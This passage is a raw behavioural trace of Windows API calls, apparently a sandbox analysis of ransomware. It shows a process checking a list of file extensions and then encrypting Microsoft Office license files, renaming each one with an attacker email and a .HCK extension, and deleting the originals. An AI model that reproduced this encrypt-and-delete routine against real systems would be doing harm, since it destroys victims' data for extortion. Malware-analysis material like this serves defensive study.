Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1 [0236.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.589] lstrlenW (lpString=".doc") returned 4 [0236.589] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.589] lstrlenW (lpString=".docx") returned 5 [0236.589] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.589] lstrlenW (lpString=".pdf") returned 4 [0236.589] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.589] lstrlenW (lpString=".xls") returned 4 [0236.589] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.589] lstrlenW (lpString=".xlsx") returned 5 [0236.589] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.589] lstrlenW (lpString=".ppt") returned 4 [0236.589] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.589] lstrlenW (lpString=".zip") returned 4 [0236.589] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.590] lstrlenW (lpString=".rar") returned 4 [0236.590] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.590] lstrlenW (lpString=".bz2") returned 4 [0236.590] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.590] lstrlenW (lpString=".7z") returned 3 [0236.590] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.590] lstrlenW (lpString=".dbf") returned 4 [0236.590] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.590] lstrlenW (lpString=".1cd") returned 4 [0236.590] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.590] lstrlenW (lpString=".jpg") returned 4 [0236.590] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.590] lstrlenW (lpString=".doc") returned 4 [0236.590] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.590] lstrlenW (lpString=".docx") returned 5 [0236.590] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.590] lstrlenW (lpString=".pdf") returned 4 [0236.590] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.590] lstrlenW (lpString=".xls") returned 4 [0236.590] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.590] lstrlenW (lpString=".xlsx") returned 5 [0236.590] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.590] lstrlenW (lpString=".ppt") returned 4 [0236.590] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.590] lstrlenW (lpString=".zip") returned 4 [0236.590] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.590] lstrlenW (lpString=".rar") returned 4 [0236.590] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.591] lstrlenW (lpString=".bz2") returned 4 [0236.591] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.591] lstrlenW (lpString=".7z") returned 3 [0236.591] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.591] lstrlenW (lpString=".dbf") returned 4 [0236.591] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.591] lstrlenW (lpString=".1cd") returned 4 [0236.591] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0236.591] lstrlenW (lpString=".jpg") returned 4 [0236.591] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.591] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.591] lstrlenW (lpString="ExcelR_Grace-ppd.xrm-ms") returned 23 [0236.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.932] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=20841) returned 1 [0236.932] CloseHandle (hObject=0x4d4) returned 1 [0236.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220 [0236.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.933] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.933] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0236.934] GetLastError () returned 0x0 [0236.934] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x5169, lpOverlapped=0x0) returned 1 [0236.937] WriteFile (in: hFile=0x4a0, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5170, lpOverlapped=0x0) returned 1 [0236.938] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.938] WriteFile (in: hFile=0x4a0, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x102, lpOverlapped=0x0) returned 1 [0236.939] SetEndOfFile (hFile=0x4a0) returned 1 [0236.939] CloseHandle (hObject=0x4a0) returned 1 [0236.939] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.939] SetEndOfFile (hFile=0x4d4) returned 1 [0236.941] CloseHandle (hObject=0x4d4) returned 1 [0236.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1 [0236.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.943] lstrlenW (lpString=".doc") returned 4 [0236.943] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.943] lstrlenW (lpString=".docx") returned 5 [0236.943] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.943] lstrlenW (lpString=".pdf") returned 4 [0236.943] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.943] lstrlenW (lpString=".xls") returned 4 [0236.943] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.943] lstrlenW (lpString=".xlsx") returned 5 [0236.943] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.943] lstrlenW (lpString=".ppt") returned 4 [0236.943] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.943] lstrlenW (lpString=".zip") returned 4 [0236.943] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.943] lstrlenW (lpString=".rar") returned 4 [0236.943] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.943] lstrlenW (lpString=".bz2") returned 4 [0236.943] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.943] lstrlenW (lpString=".7z") returned 3 [0236.943] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.943] lstrlenW (lpString=".dbf") returned 4 [0236.943] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.943] lstrlenW (lpString=".1cd") returned 4 [0236.943] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.943] lstrlenW (lpString=".jpg") returned 4 [0236.943] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.943] lstrlenW (lpString=".doc") returned 4 [0236.943] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.943] lstrlenW (lpString=".docx") returned 5 [0236.943] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.943] lstrlenW (lpString=".pdf") returned 4 [0236.943] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.944] lstrlenW (lpString=".xls") returned 4 [0236.944] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.944] lstrlenW (lpString=".xlsx") returned 5 [0236.944] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.944] lstrlenW (lpString=".ppt") returned 4 [0236.944] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.944] lstrlenW (lpString=".zip") returned 4 [0236.944] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.944] lstrlenW (lpString=".rar") returned 4 [0236.944] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.944] lstrlenW (lpString=".bz2") returned 4 [0236.944] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.944] lstrlenW (lpString=".7z") returned 3 [0236.944] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.944] lstrlenW (lpString=".dbf") returned 4 [0236.944] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.944] lstrlenW (lpString=".1cd") returned 4 [0236.944] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0236.944] lstrlenW (lpString=".jpg") returned 4 [0236.944] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.944] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.944] lstrlenW (lpString="ExcelR_Retail-ul-phn.xrm-ms") returned 27 [0236.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.946] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=19919) returned 1 [0236.946] CloseHandle (hObject=0x4d4) returned 1 [0236.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220 [0236.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0237.418] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.418] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0237.421] GetLastError () returned 0x0 [0237.421] ReadFile (in: hFile=0x544, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0237.462] WriteFile (in: hFile=0x4ac, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0237.464] ReadFile (in: hFile=0x544, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.464] WriteFile (in: hFile=0x4ac, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x10a, lpOverlapped=0x0) returned 1 [0237.464] SetEndOfFile (hFile=0x4ac) returned 1 [0237.464] CloseHandle (hObject=0x4ac) returned 1 [0237.465] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.465] SetEndOfFile (hFile=0x544) returned 1 [0237.470] CloseHandle (hObject=0x544) returned 1 [0237.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1 [0237.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.473] lstrlenW (lpString=".doc") returned 4 [0237.473] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.473] lstrlenW (lpString=".docx") returned 5 [0237.473] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.473] lstrlenW (lpString=".pdf") returned 4 [0237.473] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.473] lstrlenW (lpString=".xls") returned 4 [0237.473] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.473] lstrlenW (lpString=".xlsx") returned 5 [0237.473] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.473] lstrlenW (lpString=".ppt") returned 4 [0237.473] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.473] lstrlenW (lpString=".zip") returned 4 [0237.473] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.473] lstrlenW (lpString=".rar") returned 4 [0237.473] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.473] lstrlenW (lpString=".bz2") returned 4 [0237.473] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.473] lstrlenW (lpString=".7z") returned 3 [0237.473] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.473] lstrlenW (lpString=".dbf") returned 4 [0237.473] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.473] lstrlenW (lpString=".1cd") returned 4 [0237.473] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.473] lstrlenW (lpString=".jpg") returned 4 [0237.473] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.474] lstrlenW (lpString=".doc") returned 4 [0237.474] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.474] lstrlenW (lpString=".docx") returned 5 [0237.474] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.474] lstrlenW (lpString=".pdf") returned 4 [0237.474] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.474] lstrlenW (lpString=".xls") returned 4 [0237.474] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.474] lstrlenW (lpString=".xlsx") returned 5 [0237.474] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.474] lstrlenW (lpString=".ppt") returned 4 [0237.474] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.474] lstrlenW (lpString=".zip") returned 4 [0237.474] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.474] lstrlenW (lpString=".rar") returned 4 [0237.474] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.474] lstrlenW (lpString=".bz2") returned 4 [0237.474] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.474] lstrlenW (lpString=".7z") returned 3 [0237.474] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.474] lstrlenW (lpString=".dbf") returned 4 [0237.474] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.474] lstrlenW (lpString=".1cd") returned 4 [0237.474] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0237.474] lstrlenW (lpString=".jpg") returned 4 [0237.475] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.475] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.475] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 36 [0237.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0237.476] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=10679) returned 1 [0237.476] CloseHandle (hObject=0x544) returned 1 [0237.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0237.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0237.477] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.477] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0237.478] GetLastError () returned 0x0 [0237.478] ReadFile (in: hFile=0x544, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x29b7, lpOverlapped=0x0) returned 1 [0237.480] WriteFile (in: hFile=0x4ac, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x29c0, lpOverlapped=0x0) returned 1 [0237.482] ReadFile (in: hFile=0x544, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.482] WriteFile (in: hFile=0x4ac, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x11c, lpOverlapped=0x0) returned 1 [0237.482] SetEndOfFile (hFile=0x4ac) returned 1 [0237.482] CloseHandle 